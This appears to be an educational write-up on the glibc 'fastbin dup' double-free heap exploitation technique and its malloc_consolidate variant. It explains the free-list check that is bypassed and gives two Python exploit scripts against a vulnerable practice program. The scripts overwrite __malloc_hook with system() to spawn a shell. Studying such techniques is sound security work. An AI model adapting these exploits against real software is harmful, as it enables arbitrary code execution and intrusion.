Consider what happens if we allocate a fastbin-sized chunk and freed it multiple times. We know that free()
pushes the freed chunk to the fastbin, but if freed multiple times, the same freed chunk would end up multiple times in the same fastbin, which makes reallocation of the same chunk to different allocation requests possible. This is a fastbin-based double free, or fastbin dup (for duplication), which is a double-free vulnerability in chunks that are less than or equal to 88 B
on a 64-bit system (and are hence placed in the fastbin).
Vector
A chunk is freed twice, which tricks malloc()
to return duplicate chunks from the fastbin. New chunks are then allocated, and by writing to these new chunks a write-what-where condition is created for arbitrary code execution.
Requirements
- Existence of a double-free vulnerability, with the ability to slip in a call to
free()
in between the double-free (to bypass the last-freed-chunk check inmalloc.c
) - Ability to allocate chunks (either arbitrarily, or through application interface) in order to trigger the double-free vulnerability
- Ability to write data to a chunk.
Example
(Refer to the vulnerable C menu-style application and the exploit script)
We allocate 3 fastbin-sized chunks. The first chunk (A
) is freed and ends up in the fastbin list. The second chunk (B
) is also freed, and A
is freed again (double free). B
is freed in between the double free()
calls for A
to pass the security check in free()
, which checks if the first chunk
in the freelist is the chunk being freed:
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
The successive allocations are duplicated since the double freed chunk will be inserted twice in the fastbin list, causing the subsequent allocations to point to the same region of memory.
def exploit_fastbin_dup(ps, leaked_addr, system_addr, binsh_addr, interactive=False):
chunk_size = 16
# Allocate 3 fastbin-sized chunks
A, B, C = [ps.alloc(chunk_size) for _ in range(3)]
# Free A, then B, then A again
ps.free(A)
ps.free(B)
ps.free(A)
# The fastbin now has chunks A, B, A.
# We invoke malloc 3 times to get chunk A twice:
[ps.alloc(chunk_size) for _ in range(3)]
# this gives us chunk B
slot_leak = ps.alloc(chunk_size)
ps.alloc(chunk_size)
# Write the symbol address of __malloc_hook
ps.write(slot_leak, p64(leaked_addr))
ps.print_info(slot_leak, 8)
# Allocate two chunks to trick malloc into giving us pointer into __malloc_hook
ps.alloc(chunk_size)
# This allocation will be at address of __malloc_hook
slot_system = ps.alloc(chunk_size)
# Fill returned pointer with address of gadget (system)
ps.write(slot_system, p64(system_addr))
ps.print_info(slot_system, 8)
# Trigger vulnerability by invoking malloc
return ps.try_spawn_shell(binsh_addr, interactive)
There exists a variant of this attack where malloc_consolidate()
is triggered to place a fastbin-sized chunk in a smallbin. Two fastbin-sized chunks are allocated, followed by freeing the first chunk, then making a smallbin-sized allocation. This triggers malloc_consolidate()
, placing the freed chunk in the smallbin. Freeing the first chunk again will cause subsequent calls to malloc()
to return duplicated chunks.
def exploit_fastbin_dup_consolidate(ps, leaked_addr, system_addr, binsh_addr, interactive=False):
chunk_size = 16
# Allocate 2 fastbin-sized chunks A, B
A, B = [ps.alloc(chunk_size) for _ in range(2)]
# Free chunk A
ps.free(A)
# Allocate a smallbin-sized chunk C to trigger malloc_consolidate
C = ps.alloc(chunk_size*chunk_size)
# Free chunk A again
ps.free(A)
# Allocate 2 more fastbin-sized chunks of the same size
# D, E should have same address as A
D, E = [ps.alloc(chunk_size) for _ in range(2)]
# Write the symbol address of __malloc_hook into D
ps.write(D, p64(leaked_addr))
# Make 2 fastbin-sized chunks of the same size.
# F should have the same address as A
# G should have the symbol address of __malloc_hook
F, G = [ps.alloc(chunk_size) for _ in range(2)]
# Fill returned pointer with address of gadget (system)
ps.write(G, p64(system_addr))
# Trigger vulnerability by invoking malloc
return ps.try_spawn_shell(binsh_addr, interactive)